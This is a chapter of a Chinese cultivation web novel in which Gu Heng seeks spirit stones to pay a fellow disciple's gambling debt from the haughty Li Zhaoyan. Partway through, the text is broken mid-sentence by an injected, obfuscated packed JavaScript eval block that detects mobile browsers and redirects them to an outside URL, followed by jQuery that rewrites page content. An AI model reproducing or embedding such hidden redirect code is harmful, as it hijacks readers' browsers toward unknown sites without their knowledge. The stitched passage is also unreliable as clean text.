“你不是说，你是因为借钱才被打吗？”
季舟神色一滞，目光微微闪烁了一下，最终还是低下头，嗫嚅道：“对不起，阿衡……是赌石。”
顾衡的脸色瞬间冷了下来，拳头握紧，眼神凌厉，“你欠的，是赌债？”
季舟垂着脑袋，本就青红交加的脸上更是难看。
上次为了救顾衡，他走投无路，便去试了赌石，谁知道竟成了。
此后他心中便萌发了一赌暴富的念头，想着再像那般赢一次，多赚些灵石便收手。可运气却越来越差，借的灵石也到了还款期。
面对顾衡，他不敢说出来，只寄希望于快点翻身。
“季兄，是我对不住你！我没想害你被打，我只是……不知道怎么开口。”
面对季舟的满脸愧色，顾衡心中五味杂陈，想要训斥，又说不出口。
此时，一直站在旁边冷眼的沈青岚开口了。
“欠债终归是要还。”她的语气平缓，满脸思虑，“季道友若是肯花时间接任务，未必不能解决。”
季舟头埋得更深了，“我从赌馆借了很多钱。你们别管我了，我自己去找他们。”
“你是从赌馆借的钱？”这下，连沈青岚也很惊讶，“你要是还不了，怕是会被找上宗门。”
赌馆那群人可不是善茬，他们若是找上宗门，再大闹一通，季舟可能会被逐出师门。
这在以前也有过先例。
“你到底借了多少？”顾衡皱眉。
“700灵石。”季舟的声音细弱蚊蝇。
“中品？”
“上、上品灵石。”
听到他的话，两人皆倒吸一口凉气。这么多灵石，求遍灵萃峰也凑不齐。
沈青岚垂眸，“为今之计，只有一个办法，去丹霞峰借。”
“不行。”顾衡一口否决。
她看向少年，“顾道友莫非还有别的方法？”
顾衡眉头紧皱，指尖几乎要攥破掌心。
沈青岚转开视线，不经意扫过他腰上的玉佩。
在救他回来时，她已经偷偷拓印了图案，她确定自己在黎山的藏书阁里看过这个纹样。
不过，他若真是有显赫的出生，这时候也该主动显露出来。
顾衡确实在犹豫，如果他去找宗主，自然能将此时摆平，但这又与他的初心相悖。
师父年事已高，本就病体沉疴，若是让他为了这点小事操心，甚至被外人打扰，那才是真的不孝。况且，一旦牵出师父，外人必定会去核实，给他增添烦忧。
他闭了闭眼，沉声道：“我再想想别的办法。”
沈青岚轻轻颔首，笑了笑道：“阿妍很心善的，顾道友，不如我去劝劝她，你明日再去试试。”
顾衡微微怔了一下。
黎昭妍会愿意帮忙吗？
他想起之前自己骂她的话……
自己实在是太冲动了！
但现在他走投无路，沈青岚既然这么说，那也许是有希望的。
他心中涌起几分犹豫，又看向垂头丧气的季舟，最终还是点头道：“多谢。”
*
这日，黎昭妍照例练习她航程七米半的御剑技巧。
没练一会，紫露说沈青岚来看她了。
想到她喜欢打探的性子，黎昭妍这次没有拒绝，而是直接让她进来了。
连猩问：“沈姑娘似乎很在意殿下的修炼？”
黎昭妍接过茶水，喝了一口，“她要看便看！”
果然，沈青岚在看到她可以御剑时，确实是露出来惊讶的神情。
可看到几米之后，剑尖下坠，又忍不住捂住嘴。
她听到消息说黎昭妍已经可以御剑了，还以为她真的进步神速，没想到只是这样。
草地上的少女手忙脚乱，极为吃力。
等日后见了师父，想必会更好笑。
看了一会，沈青岚便失去了兴趣。她转头，发现连猩倒是看得很专注。
黎昭妍请过很多陪练，不过她本来就没有天赋，再加上脾气不好，最后没人能忍受得了她。
新来的这个想必也不会例外。
少年坐姿笔直，连茶水都备好了，像是准备随时送过去。
她开口，“你来多久了？”
“不到一个月。”
“那快了。”沈青岚嘴角划出意味不明的笑，“阿妍她啊，很喜欢新鲜感。”
连猩看了她一眼，又转头看向草地。
见他没有搭话，她又继续道：
“想教好她不容易是吧？其实，我也试过很多次了，很辛苦。”
听她这么说，少年倒是转头看了过来，就当沈青岚以为自己能听到他的抱怨两句时，面前却推过来一个杯子。
“喝茶。”
沈青岚的脸僵硬了一瞬，若无其事拿起杯子。
草坪上，黎昭妍练得很吃力，她刚落地，就尝试将灵力注入剑身，挥剑出招。
灵力没使出去，体内像是有千万根针在乱窜，剧痛难忍，她脸色一白，剑脱手而落。
旁观的沈青岚将杯子举在唇前，遮住了笑意。
她在笑。
察觉到她的情绪，连猩转过头。
沈青岚太过专注，丝毫没意识到有人正用一种毫不掩饰的厌恶目光盯着她。
恶心，丑陋。
想到她和自己有同一种嗜好，连猩从心底泛出一股反胃感。
因为自己的妖丹所带来的痛苦，她有什么资格欣赏这一切？
恶心、丑陋、卑鄙的小偷。
之后的一段时间，连猩还在看黎昭妍练习，但他却无法从中得到太多快乐。
即便她从高空摔下，面露痛苦，他也无法专心。
就像是一颗被藏在树洞中的糖果，他会在隐蔽处偷偷舔舐一口，但当他看到另一个人也这么做时，心里只剩下恶心。
他脸色阴郁，忍不住去看沈青岚的表情，恨不得掐死她。
结束上午的修炼，黎昭妍对自己的进步颇满意，沈青岚却笑着给她泼冷水。
“阿妍，明日去见师父，你要给他看这个？”
往常听到这样的话，黎昭妍便会怀疑自己，甚至会逃避不去。
但是现在，她却理直气壮，“自然，他不是说只要能御剑便可以，又没有说要站多久。”
她一边擦额角的汗，一边笑眯眯看着她，“而且你也知道，我出门不用御剑。”
沈青岚勉强一笑，目光却有些狐疑。
黎昭妍出行只坐云撵，这在整个九霄剑宗也是独一份，以前的她深以为耻，怎么现在却一副引以为荣的模样？
不过很快，她的注意力转到了另外一件事上。
有侍女通报顾衡来了，还是来赔罪的。
“顾衡？”黎昭妍不解。
随即她微微挑眉，目光在沈青岚身上转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941760|177380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一瞬，似笑非笑，“阿岚，是你让他来的？”
她语气闲适，像是随口一问。
沈青岚抿了抿唇，并未直接否认，而是温声道：“我昨日恰好碰到了他，听说了你们之间的误会，他来找你，想来是知错了。”
果然。
黎昭妍轻笑一声，不置可否。
她哪里还不明白？
沈青岚自小便广结人缘，最擅长关键时刻给人抛去一根救命的绳索，让人心生感激。
这次也是一样。
顾衡需要灵石，而沈青岚绝不可能借，于是便把人送到了自己面前，让她来当这个“拂袖相助”的人。
如此一来，自己同意了，那自然是她“撮合”的功劳，自己拒绝了，那是不通情面。
真是好手段。
黎昭妍倚着一背，手指轻点着桌面，慢悠悠地道：“既然是道歉，那就让他进来罢。”
顾衡站在黎昭妍的庭院外，心绪微微复杂。
脑海里，一直是沈青岚临行前给自己的一番话。
“阿妍出手大方，只要她高兴了，这点钱不是问题。”
黎昭妍虽然傲慢骄纵，但顾衡也不得不承认，她的确出手大方，不吝灵石，所以丹霞峰才会外门弟子人人想去的好地方。
他原本已不报什么希望，但没想到黎昭妍竟愿意见自己？
是沈青岚帮忙说情了？
侍女恭敬地引他入内，院内幽香阵阵。
黎昭妍坐在石椅上，正与沈青岚随意交谈，语调懒洋洋的，而她身后，一个高挑的妖族少年站在那里，低垂着眸，正替她揉捏肩膀。
见他进来，那少年缓缓抬头，露出长发下妖冶的一张脸。
他抿了抿嘴，似乎是笑了下，随后又垂下眸子，继续揉捏手下的肩膀。
顾衡微微皱眉，收回目光，上前一步，拱手行礼：“殿下。”
黎昭妍挑起眼皮看了他一眼，又垂下视线，随手拨弄着茶盏。
中午的光线有些炎热，顾衡站在亭外，蓝色长衫洗得发白，长袖下的手不自觉地收紧。
他本已做好低头求助的准备，可此刻，在她面前，他却发现自己竟无法彻底放下身段。
片刻后，他沉声道：“昨日的事是我鲁莽，特来道歉。”
“季师兄从赌坊借了灵石，所以才会欠下这么多钱。”
他顿了顿，直视着黎昭妍，声音平稳克制：“可否暂借一笔灵石，我愿意立下字据，按时归还，也可多付些利息当酬谢。”
空气有片刻的沉默。
系统眼见她没有回应，忍不住催促起来
【宿主，他来求你了！他现在很有诚意，这是你们缓和关系的好时机！】
【借给他，好感度一定能上20分！】
诚意?
听说他要来道歉，她还有些好奇。
她以为他多少想开了，没想到还是这幅屈辱的模样。
顾衡偏下头，避开可能交汇的视线，冷峻的脸上是窘迫之色，脸颊的红一直蔓延到青筋暴起的颈项。
他厌恶开口求她，却又不得不开口。
所以，他不是服软，而是忍辱。
呵。
她嗤笑了一声，靠在椅背上，慢悠悠地开口：“你是把我这当成钱庄了？”
顾衡指尖收紧。
“而且，”她轻轻一顿，语气漫不经心：“要道歉，难道不该跪下？”